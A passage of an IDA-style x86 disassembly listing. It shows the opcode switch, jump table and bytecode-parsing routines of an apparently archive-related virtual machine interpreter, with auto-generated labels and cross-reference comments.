mov ebx, [ebx+4] ; jumptable 009B3060 case 26
test ebx, ebx
jz short loc_9B33A4
movzx eax, byte ptr [esi]
jmp short loc_9B33A6
; ---------------------------------------------------------------------------
loc_9B33A4: ; CODE XREF: sub_9B300B+392j
mov eax, [esi]
loc_9B33A6: ; CODE XREF: sub_9B300B+397j
test ebx, ebx
jz short loc_9B33AF
movzx ecx, byte ptr [esi]
jmp short loc_9B33B1
; ---------------------------------------------------------------------------
loc_9B33AF: ; CODE XREF: sub_9B300B+39Dj
mov ecx, [esi]
loc_9B33B1: ; CODE XREF: sub_9B300B+3A2j
mov edx, eax
sar edx, cl
jmp short loc_9B338F
; ---------------------------------------------------------------------------
loc_9B33B7: ; CODE XREF: sub_9B300B+386j
mov ebx, edx
and ebx, 80000000h
loc_9B33BF: ; CODE XREF: sub_9B300B+38Bj
dec ecx
shr eax, cl
and eax, 1
loc_9B33C5: ; CODE XREF: sub_9B300B+365j
or eax, ebx
mov [edi+24h], eax
mov eax, [ebp+var_8]
cmp dword ptr [eax+4], 0
mov ebx, eax
jmp loc_9B35CC
; ---------------------------------------------------------------------------
loc_9B33D8: ; CODE XREF: sub_9B300B+55j
; DATA XREF: .text:off_9B3637o
cmp dword ptr [ebx+4], 0 ; jumptable 009B3060 case 27
jz short loc_9B33E3
movzx eax, byte ptr [esi]
jmp short loc_9B33E5
; ---------------------------------------------------------------------------
loc_9B33E3: ; CODE XREF: sub_9B300B+3D1j
mov eax, [esi]
loc_9B33E5: ; CODE XREF: sub_9B300B+3D6j
neg eax
mov ecx, eax
jz loc_9B3229
and eax, 80000001h
or eax, 1
loc_9B33F7: ; CODE XREF: sub_9B300B+14Fj
; sub_9B300B+221j ...
mov [edi+24h], eax
cmp dword ptr [ebx+4], 0
jz short loc_9B3407
mov [esi], cl
jmp loc_9B3617 ; default
; jumptable 009B3060 case 39
; ---------------------------------------------------------------------------
loc_9B3407: ; CODE XREF: sub_9B300B+3F3j
mov [esi], ecx
jmp loc_9B3617 ; default
; jumptable 009B3060 case 39
; ---------------------------------------------------------------------------
loc_9B340E: ; CODE XREF: sub_9B300B+55j
; DATA XREF: .text:off_9B3637o
neg byte ptr [esi] ; jumptable 009B3060 case 52
jmp loc_9B3617 ; default
; jumptable 009B3060 case 39
; ---------------------------------------------------------------------------
loc_9B3415: ; CODE XREF: sub_9B300B+55j
; DATA XREF: .text:off_9B3637o
neg dword ptr [esi] ; jumptable 009B3060 case 53
jmp loc_9B3617 ; default
; jumptable 009B3060 case 39
; ---------------------------------------------------------------------------
loc_9B341C: ; CODE XREF: sub_9B300B+55j
; DATA XREF: .text:off_9B3637o
mov eax, [edi+20h] ; jumptable 009B3060 case 28
sub eax, 4
lea ecx, [edi+4]
mov [ebp+var_C], 8
loc_9B342C: ; CODE XREF: sub_9B300B+439j
mov ebx, [ecx]
mov esi, [edi]
mov edx, eax
and edx, 3FFFFh
add ecx, 4
sub eax, 4
dec [ebp+var_C]
mov [edx+esi], ebx
jnz short loc_9B342C
add dword ptr [edi+20h], 0FFFFFFE0h
mov ebx, [ebp+var_8]
jmp loc_9B3617 ; default
; jumptable 009B3060 case 39
; ---------------------------------------------------------------------------
loc_9B3452: ; CODE XREF: sub_9B300B+55j
; DATA XREF: .text:off_9B3637o
lea eax, [edi+20h] ; jumptable 009B3060 case 29
mov ecx, [eax]
mov [ebp+var_C], 8
loc_9B345E: ; CODE XREF: sub_9B300B+46Bj
mov esi, [edi]
mov edx, ecx
and edx, 3FFFFh
mov edx, [edx+esi]
mov [eax], edx
sub eax, 4
add ecx, 4
dec [ebp+var_C]
jnz short loc_9B345E
jmp loc_9B3617 ; default
; jumptable 009B3060 case 39
; ---------------------------------------------------------------------------
loc_9B347D: ; CODE XREF: sub_9B300B+55j
; DATA XREF: .text:off_9B3637o
add dword ptr [edi+20h], 0FFFFFFFCh ; jumptable 009B3060 case 30
mov edx, [edi+24h]
loc_9B3484: ; CODE XREF: sub_9B300B+2B7j
mov eax, [edi+20h]
mov ecx, [edi]
and eax, 3FFFFh
mov [eax+ecx], edx
jmp loc_9B3617 ; default
; jumptable 009B3060 case 39
; ---------------------------------------------------------------------------
loc_9B3496: ; CODE XREF: sub_9B300B+55j
; DATA XREF: .text:off_9B3637o
mov eax, [edi+20h] ; jumptable 009B3060 case 31
mov edx, [edi]
mov ecx, eax
and ecx, 3FFFFh
mov ecx, [ecx+edx]
add eax, 4
mov [edi+24h], ecx
mov [edi+20h], eax
jmp loc_9B3617 ; default
; jumptable 009B3060 case 39
; ---------------------------------------------------------------------------
loc_9B34B4: ; CODE XREF: sub_9B300B+55j
; DATA XREF: .text:off_9B3637o
movzx eax, byte ptr [eax] ; jumptable 009B3060 case 32
jmp loc_9B3077
; ---------------------------------------------------------------------------
loc_9B34BC: ; CODE XREF: sub_9B300B+55j
; DATA XREF: .text:off_9B3637o
movsx eax, byte ptr [eax] ; jumptable 009B3060 case 33
jmp loc_9B3077
; ---------------------------------------------------------------------------
loc_9B34C4: ; CODE XREF: sub_9B300B+55j
; DATA XREF: .text:off_9B3637o
mov ecx, [ebx+4] ; jumptable 009B3060 case 34
test ecx, ecx
jz short loc_9B34D0
movzx edx, byte ptr [esi]
jmp short loc_9B34D2
; ---------------------------------------------------------------------------
loc_9B34D0: ; CODE XREF: sub_9B300B+4BEj
mov edx, [esi]
loc_9B34D2: ; CODE XREF: sub_9B300B+4C3j
test ecx, ecx
jz short loc_9B34DD
movzx ecx, byte ptr [eax]
mov [esi], cl
jmp short loc_9B34E1
; ---------------------------------------------------------------------------
loc_9B34DD: ; CODE XREF: sub_9B300B+4C9j
mov ecx, [eax]
mov [esi], ecx
loc_9B34E1: ; CODE XREF: sub_9B300B+4D0j
cmp dword ptr [ebx+4], 0
jz short loc_9B34EE
mov [eax], dl
jmp loc_9B3617 ; default
; jumptable 009B3060 case 39
; ---------------------------------------------------------------------------
loc_9B34EE: ; CODE XREF: sub_9B300B+4DAj
mov [eax], edx
jmp loc_9B3617 ; default
; jumptable 009B3060 case 39
; ---------------------------------------------------------------------------
loc_9B34F5: ; CODE XREF: sub_9B300B+55j
; DATA XREF: .text:off_9B3637o
mov edx, [ebx+4] ; jumptable 009B3060 case 35
test edx, edx
jz short loc_9B3501
movzx ecx, byte ptr [esi]
jmp short loc_9B3503
; ---------------------------------------------------------------------------
loc_9B3501: ; CODE XREF: sub_9B300B+4EFj
mov ecx, [esi]
loc_9B3503: ; CODE XREF: sub_9B300B+4F4j
test edx, edx
jz short loc_9B350C
movzx eax, byte ptr [eax]
jmp short loc_9B350E
; ---------------------------------------------------------------------------
loc_9B350C: ; CODE XREF: sub_9B300B+4FAj
mov eax, [eax]
loc_9B350E: ; CODE XREF: sub_9B300B+4FFj
imul eax, ecx
test edx, edx
jmp short loc_9B353E
; ---------------------------------------------------------------------------
loc_9B3515: ; CODE XREF: sub_9B300B+55j
; DATA XREF: .text:off_9B3637o
mov edx, [ebx+4] ; jumptable 009B3060 case 36
test edx, edx
jz short loc_9B3521
movzx ecx, byte ptr [eax]
jmp short loc_9B3523
; ---------------------------------------------------------------------------
loc_9B3521: ; CODE XREF: sub_9B300B+50Fj
mov ecx, [eax]
loc_9B3523: ; CODE XREF: sub_9B300B+514j
test ecx, ecx
jz loc_9B3617 ; default
; jumptable 009B3060 case 39
test edx, edx
jz short loc_9B3534
movzx eax, byte ptr [esi]
jmp short loc_9B3536
; ---------------------------------------------------------------------------
loc_9B3534: ; CODE XREF: sub_9B300B+522j
mov eax, [esi]
loc_9B3536: ; CODE XREF: sub_9B300B+527j
xor edx, edx
div ecx
cmp dword ptr [ebx+4], 0
loc_9B353E: ; CODE XREF: sub_9B300B+508j
jz loc_9B3077
loc_9B3544: ; CODE XREF: sub_9B300B+65j
; sub_9B300B+75j ...
mov [esi], al
jmp loc_9B3617 ; default
; jumptable 009B3060 case 39
; ---------------------------------------------------------------------------
loc_9B354B: ; CODE XREF: sub_9B300B+55j
; DATA XREF: .text:off_9B3637o
mov edx, [ebx+4] ; jumptable 009B3060 case 37
test edx, edx
jz short loc_9B3557
movzx ecx, byte ptr [esi]
jmp short loc_9B3559
; ---------------------------------------------------------------------------
loc_9B3557: ; CODE XREF: sub_9B300B+545j
mov ecx, [esi]
loc_9B3559: ; CODE XREF: sub_9B300B+54Aj
mov [ebp+var_8], ecx
mov ecx, [edi+24h]
and ecx, 1
test edx, edx
jz short loc_9B356B
movzx eax, byte ptr [eax]
jmp short loc_9B356D
; ---------------------------------------------------------------------------
loc_9B356B: ; CODE XREF: sub_9B300B+559j
mov eax, [eax]
loc_9B356D: ; CODE XREF: sub_9B300B+55Ej
lea edx, [eax+ecx]
add edx, [ebp+var_8]
jnz short loc_9B357A
loc_9B3575: ; CODE XREF: sub_9B300B+5A7j
push 2
pop eax
jmp short loc_9B35C5
; ---------------------------------------------------------------------------
loc_9B357A: ; CODE XREF: sub_9B300B+568j
cmp edx, [ebp+var_8]
jb short loc_9B35B9
loc_9B357F: ; CODE XREF: sub_9B300B+5ACj
jnz short loc_9B3585
test ecx, ecx
jnz short loc_9B35B9
loc_9B3585: ; CODE XREF: sub_9B300B:loc_9B357Fj
xor ecx, ecx
jmp short loc_9B35BC
; ---------------------------------------------------------------------------
loc_9B3589: ; CODE XREF: sub_9B300B+55j
; DATA XREF: .text:off_9B3637o
mov edx, [ebx+4] ; jumptable 009B3060 case 38
test edx, edx
jz short loc_9B3595
movzx ecx, byte ptr [esi]
jmp short loc_9B3597
; ---------------------------------------------------------------------------
loc_9B3595: ; CODE XREF: sub_9B300B+583j
mov ecx, [esi]
loc_9B3597: ; CODE XREF: sub_9B300B+588j
mov [ebp+var_8], ecx
mov ecx, [edi+24h]
and ecx, 1
test edx, edx
jz short loc_9B35A9
movzx eax, byte ptr [eax]
jmp short loc_9B35AB
; ---------------------------------------------------------------------------
loc_9B35A9: ; CODE XREF: sub_9B300B+597j
mov eax, [eax]
loc_9B35AB: ; CODE XREF: sub_9B300B+59Cj
mov edx, [ebp+var_8]
sub edx, eax
sub edx, ecx
jz short loc_9B3575
cmp edx, [ebp+var_8]
jbe short loc_9B357F
loc_9B35B9: ; CODE XREF: sub_9B300B+572j
; sub_9B300B+578j
xor ecx, ecx
inc ecx
loc_9B35BC: ; CODE XREF: sub_9B300B+57Cj
mov eax, edx
and eax, 80000000h
or eax, ecx
loc_9B35C5: ; CODE XREF: sub_9B300B+56Dj
mov [edi+24h], eax
cmp dword ptr [ebx+4], 0
loc_9B35CC: ; CODE XREF: sub_9B300B+3C8j
jz short loc_9B35D2
mov [esi], dl
jmp short loc_9B3617 ; default
; jumptable 009B3060 case 39
; ---------------------------------------------------------------------------
loc_9B35D2: ; CODE XREF: sub_9B300B:loc_9B35CCj
mov [esi], edx
jmp short loc_9B3617 ; default
; jumptable 009B3060 case 39
; ---------------------------------------------------------------------------
loc_9B35D6: ; CODE XREF: sub_9B300B+55j
; DATA XREF: .text:off_9B3637o
mov ecx, [edi+20h] ; jumptable 009B3060 case 22
cmp ecx, 40000h
jnb short loc_9B362E
mov esi, [edi]
mov eax, ecx
and eax, 3FFFFh
mov eax, [eax+esi]
cmp eax, [ebp+arg_4]
jnb short loc_9B362E
dec [ebp+var_4]
cmp [ebp+var_4], 0
jle loc_9B3032
lea eax, [eax+eax*4]
add ecx, 4
lea ebx, [edx+eax*8]
mov [edi+20h], ecx
jmp short loc_9B361D
; ---------------------------------------------------------------------------
loc_9B360D: ; CODE XREF: sub_9B300B+55j
; DATA XREF: .text:off_9B3637o
mov ecx, [ebx+10h] ; jumptable 009B3060 case 54
mov eax, edi
call sub_9B2B17
loc_9B3617: ; CODE XREF: sub_9B300B+4Fj
; sub_9B300B+55j ...
add ebx, 28h ; default
; jumptable 009B3060 case 39
dec [ebp+var_4]
loc_9B361D: ; CODE XREF: sub_9B300B+2ACj
; sub_9B300B+313j ...
cmp ebx, [ebp+var_10]
mov [ebp+var_8], ebx
jbe loc_9B3038
jmp loc_9B3032
; ---------------------------------------------------------------------------
loc_9B362E: ; CODE XREF: sub_9B300B+293j
; sub_9B300B+2F7j ...
xor eax, eax
inc eax
jmp loc_9B3034
sub_9B300B endp
; ---------------------------------------------------------------------------
db 90h
off_9B3637 dd offset loc_9B3067, offset loc_9B3085, offset loc_9B30ED
; DATA XREF: sub_9B300B+55r
dd offset loc_9B3127, offset loc_9B3171, offset loc_9B317A ; jump table for switch statement
dd offset loc_9B3183, offset loc_9B31AB, offset loc_9B3299
dd offset loc_9B31D0, offset loc_9B31ED, offset loc_9B320A
dd offset loc_9B323D, offset loc_9B326B, offset loc_9B3271
dd offset loc_9B3277, offset loc_9B327D, offset loc_9B3289
dd offset loc_9B328F, offset loc_9B32BC, offset loc_9B32C7
dd offset loc_9B32DF, offset loc_9B35D6, offset loc_9B3323
dd offset loc_9B333C, offset loc_9B3372, offset loc_9B3398
dd offset loc_9B33D8, offset loc_9B341C, offset loc_9B3452
dd offset loc_9B347D, offset loc_9B3496, offset loc_9B34B4
dd offset loc_9B34BC, offset loc_9B34C4, offset loc_9B34F5
dd offset loc_9B3515, offset loc_9B354B, offset loc_9B3589
dd offset loc_9B3617, offset loc_9B307E, offset loc_9B3075
dd offset loc_9B30BF, offset loc_9B30E5, offset loc_9B3115
dd offset loc_9B311E, offset loc_9B315F, offset loc_9B3168
dd offset loc_9B319D, offset loc_9B31A4, offset loc_9B31C2
dd offset loc_9B31C9, offset loc_9B340E, offset loc_9B3415
dd offset loc_9B360D
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_9B3713(int, size_t Size)
sub_9B3713 proc near ; CODE XREF: sub_9AF448+53p
arg_0 = dword ptr 8
Size = dword ptr 0Ch
push ebp
mov ebp, esp
push ebx
push esi
mov esi, [ebp+Size]
push edi
mov edi, [ebp+arg_0]
push 1Ch ; Size
lea eax, [esi+24h]
push eax ; Src
lea eax, [edi+4]
push eax ; Dst
call memcpy
mov eax, [esi+18h]
mov ebx, 2000h
add esp, 0Ch
cmp eax, ebx
mov [ebp+Size], eax
jl short loc_9B3743
mov [ebp+Size], ebx
loc_9B3743: ; CODE XREF: sub_9B3713+2Bj
cmp [ebp+Size], 0
jz short loc_9B375F
push [ebp+Size] ; Size
mov eax, [edi]
push dword ptr [esi+0Ch] ; Src
add eax, 3C000h
push eax ; Dst
call memcpy
add esp, 0Ch
loc_9B375F: ; CODE XREF: sub_9B3713+34j
mov ecx, [ebp+Size]
mov eax, [esi+1Ch]
sub ebx, ecx
cmp eax, ebx
jb short loc_9B376D
mov eax, ebx
loc_9B376D: ; CODE XREF: sub_9B3713+56j
test eax, eax
jz short loc_9B3787
push eax ; Size
mov eax, [edi]
push dword ptr [esi+10h] ; Src
lea eax, [eax+ecx+3C000h]
push eax ; Dst
call memcpy
add esp, 0Ch
loc_9B3787: ; CODE XREF: sub_9B3713+5Cj
and dword ptr [edi+24h], 0
mov dword ptr [edi+20h], 40000h
mov eax, [esi+8]
test eax, eax
mov ebx, eax
jnz short loc_9B379D
mov ebx, [esi]
loc_9B379D: ; CODE XREF: sub_9B3713+86j
test ebx, ebx
jz loc_9B3830
push dword ptr [esi+20h]
push ebx
call sub_9B300B
test eax, eax
pop ecx
pop ecx
jnz short loc_9B37BA
mov dword ptr [ebx], 16h
loc_9B37BA: ; CODE XREF: sub_9B3713+9Fj
mov edx, [edi]
mov ecx, [edx+3C020h]
mov eax, [edx+3C01Ch]
mov ebx, 3FFFFh
and ecx, ebx
and eax, ebx
lea ebx, [eax+ecx]
cmp ebx, 40000h
jb short loc_9B37E0
xor eax, eax
xor ecx, ecx
loc_9B37E0: ; CODE XREF: sub_9B3713+C7j
mov [esi+40h], eax
mov eax, [esi+0Ch]
add edx, ecx
test eax, eax
mov [esi+14h], edx
jz short loc_9B37FF
push eax ; Memory
call free
and dword ptr [esi+0Ch], 0
and dword ptr [esi+18h], 0
pop ecx
loc_9B37FF: ; CODE XREF: sub_9B3713+DAj
mov eax, [edi]
mov ebx, [eax+3C030h]
mov eax, 2000h
cmp ebx, eax
jb short loc_9B3812
mov ebx, eax
loc_9B3812: ; CODE XREF: sub_9B3713+FBj
test ebx, ebx
jz short loc_9B384A
lea eax, [ebx+40h]
add [esi+18h], eax
push dword ptr [esi+18h] ; NewSize
push dword ptr [esi+0Ch] ; Memory
call sub_9B132C
test eax, eax
pop ecx
pop ecx
mov [esi+0Ch], eax
jnz short loc_9B3834
loc_9B3830: ; CODE XREF: sub_9B3713+8Cj
xor eax, eax
jmp short loc_9B384D
; ---------------------------------------------------------------------------
loc_9B3834: ; CODE XREF: sub_9B3713+11Bj
mov ecx, [edi]
add ebx, 40h
push ebx ; Size
add ecx, 3C000h
push ecx ; Src
push eax ; Dst
call memcpy
add esp, 0Ch
loc_9B384A: ; CODE XREF: sub_9B3713+101j
xor eax, eax
inc eax
loc_9B384D: ; CODE XREF: sub_9B3713+11Fj
pop edi
pop esi
pop ebx
pop ebp
retn
sub_9B3713 endp
; =============== S U B R O U T I N E =======================================
sub_9B3852 proc near ; CODE XREF: sub_9B3A12+20Dp
; sub_9B3A12+222p
arg_0 = dword ptr 4
push esi
call sub_9B283A
test ah, ah
pop ecx
jns short loc_9B3878
and dword ptr [edi+4], 0
shr eax, 0Ch
and eax, 7
mov [edi+8], eax
lea eax, [ebx+eax*4+4]
mov [edi], eax
mov eax, [esi+0Ch]
add eax, 4
jmp short loc_9B389C
; ---------------------------------------------------------------------------
loc_9B3878: ; CODE XREF: sub_9B3852+9j
test ah, 0C0h
jnz short loc_9B38C9
cmp [esp+arg_0], 0
mov dword ptr [edi+4], 1
jz short loc_9B38AB
shr eax, 6
and eax, 0FFh
mov [edi+8], eax
mov eax, [esi+0Ch]
add eax, 0Ah
loc_9B389C: ; CODE XREF: sub_9B3852+24j
; sub_9B3852+9Cj
mov ecx, eax
sar ecx, 3
add [esi+8], ecx
and eax, 7
mov [esi+0Ch], eax
retn
; ---------------------------------------------------------------------------
loc_9B38AB: ; CODE XREF: sub_9B3852+37j
mov eax, [esi+0Ch]
inc eax
inc eax
mov ecx, eax
sar ecx, 3
add [esi+8], ecx
and eax, 7
push esi
mov [esi+0Ch], eax
call sub_9B2868
mov [edi+8], eax
pop ecx
retn
; ---------------------------------------------------------------------------
loc_9B38C9: ; CODE XREF: sub_9B3852+29j
test ah, 20h
mov dword ptr [edi+4], 2
jnz short loc_9B38F0
and dword ptr [edi+0Ch], 0
shr eax, 0Ah
and eax, 7
mov [edi+8], eax
lea eax, [ebx+eax*4+4]
mov [edi], eax
mov eax, [esi+0Ch]
add eax, 6
jmp short loc_9B389C
; ---------------------------------------------------------------------------
loc_9B38F0: ; CODE XREF: sub_9B3852+81j
test ah, 10h
jnz short loc_9B390C
shr eax, 9
and eax, 7
mov [edi+8], eax
lea eax, [ebx+eax*4+4]
mov [edi], eax
mov eax, [esi+0Ch]
add eax, 7
jmp short loc_9B3916
; ---------------------------------------------------------------------------
loc_9B390C: ; CODE XREF: sub_9B3852+A1j
and dword ptr [edi+8], 0
mov eax, [esi+0Ch]
add eax, 4
loc_9B3916: ; CODE XREF: sub_9B3852+B8j
mov ecx, eax
sar ecx, 3
add [esi+8], ecx
and eax, 7
push esi
mov [esi+0Ch], eax
call sub_9B2868
mov [edi+0Ch], eax
pop ecx
retn
sub_9B3852 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_9B392F proc near ; CODE XREF: sub_9B3A12+2F2p
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ecx]
mov ecx, [ecx+20h]
test ecx, ecx
jle locret_9B3A10
push ebx
push esi
mov [ebp+var_4], 1
mov [ebp+var_8], ecx
push edi
loc_9B394E: ; CODE XREF: sub_9B392F+D8j
mov esi, [eax]
mov edx, esi
sub edx, 0
jz loc_9B39F2
dec edx
jz loc_9B39E6
test ds:byte_9B9DC0[esi], 40h
jz loc_9B39FE
mov edi, [ebp+var_4]
cmp edi, ecx
jge short loc_9B3994
lea edx, [eax+28h]
loc_9B3979: ; CODE XREF: sub_9B392F+63j
mov ebx, [edx]
movzx ebx, ds:byte_9B9DC0[ebx]
test bl, 38h
jnz short loc_9B39FE
test bl, 40h
jnz short loc_9B3994
inc edi
add edx, 28h
cmp edi, ecx
jl short loc_9B3979
loc_9B3994: ; CODE XREF: sub_9B392F+45j
; sub_9B392F+5Bj
mov edx, esi
dec edx
dec edx
jz short loc_9B39DA
dec edx
jz short loc_9B39CE
sub edx, 3
jz short loc_9B39C2
dec edx
jz short loc_9B39B6
sub edx, 14h
jnz short loc_9B39FE
mov edx, [eax+4]
neg edx
sbb edx, edx
add edx, 35h
jmp short loc_9B39FC
; ---------------------------------------------------------------------------
loc_9B39B6: ; CODE XREF: sub_9B392F+74j
mov edx, [eax+4]
neg edx
sbb edx, edx
add edx, 33h
jmp short loc_9B39FC
; ---------------------------------------------------------------------------
loc_9B39C2: ; CODE XREF: sub_9B392F+71j
mov edx, [eax+4]
neg edx
sbb edx, edx
add edx, 31h
jmp short loc_9B39FC
; ---------------------------------------------------------------------------
loc_9B39CE: ; CODE XREF: sub_9B392F+6Cj
mov edx, [eax+4]
neg edx
sbb edx, edx
add edx, 2Fh
jmp short loc_9B39FC
; ---------------------------------------------------------------------------
loc_9B39DA: ; CODE XREF: sub_9B392F+69j
mov edx, [eax+4]
neg edx
sbb edx, edx
add edx, 2Dh
jmp short loc_9B39FC
; ---------------------------------------------------------------------------
loc_9B39E6: ; CODE XREF: sub_9B392F+2Dj
mov edx, [eax+4]
neg edx
sbb edx, edx
add edx, 2Bh
jmp short loc_9B39FC
; ---------------------------------------------------------------------------
loc_9B39F2: ; CODE XREF: sub_9B392F+26j
mov edx, [eax+4]
neg edx
sbb edx, edx
add edx, 29h
loc_9B39FC: ; CODE XREF: sub_9B392F+85j
; sub_9B392F+91j ...
mov [eax], edx
loc_9B39FE: ; CODE XREF: sub_9B392F+3Aj
; sub_9B392F+56j ...
add eax, 28h
inc [ebp+var_4]
dec [ebp+var_8]
jnz loc_9B394E
pop edi
pop esi
pop ebx
locret_9B3A10: ; CODE XREF: sub_9B392F+Cj
leave
retn
sub_9B392F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_9B3A12(int, int, void *Src, int, int)
sub_9B3A12 proc near ; CODE XREF: sub_9AFBCB+30Cp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
Src = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, [ebp+arg_C]
push esi
mov esi, [ebp+arg_4]
and dword ptr [esi+0Ch], 0
and dword ptr [esi+8], 0
mov eax, 8000h
cmp ebx, eax
push edi
jge short loc_9B3A32
mov eax, ebx
loc_9B3A32: ; CODE XREF: sub_9B3A12+1Cj
mov edi, [ebp+Src]
push eax ; Size
push edi ; Src
push dword ptr [esi] ; Dst
call memcpy
xor eax, eax
inc eax
add esp, 0Ch
xor cl, cl
cmp ebx, eax
jle short loc_9B3A52
loc_9B3A4A: ; CODE XREF: sub_9B3A12+3Ej
xor cl, [eax+edi]
inc eax
cmp eax, ebx
jl short loc_9B3A4A
loc_9B3A52: ; CODE XREF: sub_9B3A12+36j
mov eax, [esi+0Ch]
mov ebx, [ebp+arg_10]
add eax, 8
mov edx, eax
sar edx, 3
add [esi+8], edx
and eax, 7
mov [esi+0Ch], eax
and dword ptr [ebx+20h], 0
cmp cl, [edi]
jnz loc_9B3C9B
push edi
mov edi, [ebp+arg_C]
call sub_9B2968
mov edi, eax
test edi, edi
pop ecx
jz short loc_9B3ABF
push 1
push ebx
call sub_9B11E7
mov edx, [ebx]
pop ecx
pop ecx
mov ecx, [ebx+20h]
lea eax, [ecx+ecx*4]
lea eax, [edx+eax*8]
inc ecx
and [ebp+arg_C], 0
mov [ebx+20h], ecx
lea ecx, [eax+10h]
mov [ecx], edi
mov [eax+8], ecx
lea ecx, [eax+20h]
push 3
mov [eax+18h], ecx
pop ecx
mov dword ptr [eax], 36h
mov [eax+1Ch], ecx
mov [eax+0Ch], ecx
loc_9B3ABF: ; CODE XREF: sub_9B3A12+71j
push esi
call sub_9B283A
pop ecx
mov ecx, [esi+0Ch]
inc ecx
mov edx, ecx
sar edx, 3
add [esi+8], edx
and ecx, 7
test ah, ah
mov [esi+0Ch], ecx
jns loc_9B3C8F
push esi
call sub_9B2868
mov edi, eax
inc edi
push edi ; Size
mov [ebp+Src], edi
call sub_9B1311
test eax, eax
pop ecx
pop ecx
mov [ebx+10h], eax
jz short loc_9B3B66
mov eax, [esi+8]
and [ebp+arg_4], 0
cmp eax, [ebp+arg_C]
jge loc_9B3C8F
jmp short loc_9B3B10
; ---------------------------------------------------------------------------
loc_9B3B0D: ; CODE XREF: sub_9B3A12+14Dj
mov edi, [ebp+Src]
loc_9B3B10: ; CODE XREF: sub_9B3A12+F9j
cmp [ebp+arg_4], edi
jge loc_9B3C8F
inc dword ptr [ebx+1Ch]
push dword ptr [ebx+1Ch] ; NewSize
push dword ptr [ebx+10h] ; Memory
call sub_9B132C
mov edi, eax
test edi, edi
pop ecx
pop ecx
mov [ebx+10h], edi
jz short loc_9B3B66
push esi
call sub_9B283A
shr eax, 8
pop ecx
mov ecx, [ebp+arg_4]
mov [edi+ecx], al
mov eax, [esi+0Ch]
add eax, 8
mov ecx, eax
and eax, 7
sar ecx, 3
add [esi+8], ecx
inc [ebp+arg_4]
mov [esi+0Ch], eax
mov eax, [ebp+arg_C]
cmp [esi+8], eax
jl short loc_9B3B0D
jmp loc_9B3C8F
; ---------------------------------------------------------------------------
loc_9B3B66: ; CODE XREF: sub_9B3A12+E7j
; sub_9B3A12+11Ej
xor eax, eax
jmp loc_9B3D0C
; ---------------------------------------------------------------------------
loc_9B3B6D: ; CODE XREF: sub_9B3A12+283j
push 1
push ebx
call sub_9B11E7
mov eax, [ebx+20h]
mov ecx, [ebx]
lea eax, [eax+eax*4]
lea edi, [ecx+eax*8]
push esi
mov [ebp+arg_4], edi
call sub_9B283A
add esp, 0Ch
test ah, ah
js short loc_9B3B9D
shr eax, 0Ch
mov [edi], eax
mov eax, [esi+0Ch]
add eax, 4
jmp short loc_9B3BAB
; ---------------------------------------------------------------------------
loc_9B3B9D: ; CODE XREF: sub_9B3A12+17Cj
shr eax, 0Ah
sub eax, 18h
mov [edi], eax
mov eax, [esi+0Ch]
add eax, 6
loc_9B3BAB: ; CODE XREF: sub_9B3A12+189j
mov ecx, eax
and eax, 7
sar ecx, 3
add [esi+8], ecx
mov [esi+0Ch], eax
mov eax, [edi]
test ds:byte_9B9DC0[eax], 4
jz short loc_9B3BE5
push esi
call sub_9B283A
shr eax, 0Fh
mov [edi+4], eax
mov eax, [esi+0Ch]
inc eax
pop ecx
mov ecx, eax
sar ecx, 3
add [esi+8], ecx
and eax, 7
mov [esi+0Ch], eax
jmp short loc_9B3BE9
; ---------------------------------------------------------------------------
loc_9B3BE5: ; CODE XREF: sub_9B3A12+1B0j
and dword ptr [edi+4], 0
loc_9B3BE9: ; CODE XREF: sub_9B3A12+1D1j
mov ecx, [edi]
push 3
pop eax
mov [edi+1Ch], eax
mov [edi+0Ch], eax
movzx ecx, ds:byte_9B9DC0[ecx]
and ecx, eax
lea eax, [edi+18h]
mov [ebp+var_4], eax
mov dword ptr [eax], 0
lea eax, [edi+8]
mov [ebp+Src], ecx
mov dword ptr [eax], 0
jle short loc_9B3C8C
push dword ptr [edi+4]
mov ebx, [ebp+arg_0]
mov edi, eax
call sub_9B3852
cmp [ebp+Src], 2
pop ecx
jnz short loc_9B3C3C
mov eax, [ebp+arg_4]
push dword ptr [eax+4]
mov edi, [ebp+var_4]
call sub_9B3852
pop ecx
jmp short loc_9B3C89
; ---------------------------------------------------------------------------
loc_9B3C3C: ; CODE XREF: sub_9B3A12+217j
mov ecx, [ebp+arg_4]
cmp dword ptr [ecx+0Ch], 1
jnz short loc_9B3C89
mov eax, [ecx]
test ds:byte_9B9DC0[eax], 18h
jz short loc_9B3C89
mov eax, [ecx+10h]
mov edx, 100h
cmp eax, edx
jl short loc_9B3C60
sub eax, edx
jmp short loc_9B3C86
; ---------------------------------------------------------------------------
loc_9B3C60: ; CODE XREF: sub_9B3A12+248j
cmp eax, 88h
jl short loc_9B3C6E
sub eax, 108h
jmp short loc_9B3C80
; ---------------------------------------------------------------------------
loc_9B3C6E: ; CODE XREF: sub_9B3A12+253j
cmp eax, 10h
jl short loc_9B3C78
sub eax, 8
jmp short loc_9B3C80
; ---------------------------------------------------------------------------
loc_9B3C78: ; CODE XREF: sub_9B3A12+25Fj
cmp eax, 8
jl short loc_9B3C80
sub eax, 10h
loc_9B3C80: ; CODE XREF: sub_9B3A12+25Aj
; sub_9B3A12+264j ...
mov edx, [ebp+arg_10]
add eax, [edx+20h]
loc_9B3C86: ; CODE XREF: sub_9B3A12+24Cj
mov [ecx+10h], eax
loc_9B3C89: ; CODE XREF: sub_9B3A12+228j
; sub_9B3A12+231j ...
mov ebx, [ebp+arg_10]
loc_9B3C8C: ; CODE XREF: sub_9B3A12+203j
inc dword ptr [ebx+20h]
loc_9B3C8F: ; CODE XREF: sub_9B3A12+C8j
; sub_9B3A12+F3j ...
mov eax, [ebp+arg_C]
cmp [esi+8], eax
jl loc_9B3B6D
loc_9B3C9B: ; CODE XREF: sub_9B3A12+5Dj
push 1
push ebx
call sub_9B11E7
mov edx, [ebx]
pop ecx
pop ecx
mov ecx, [ebx+20h]
lea eax, [ecx+ecx*4]
lea eax, [edx+eax*8]
inc ecx
mov [ebx+20h], ecx
lea ecx, [eax+10h]
mov [eax+8], ecx
lea ecx, [eax+20h]
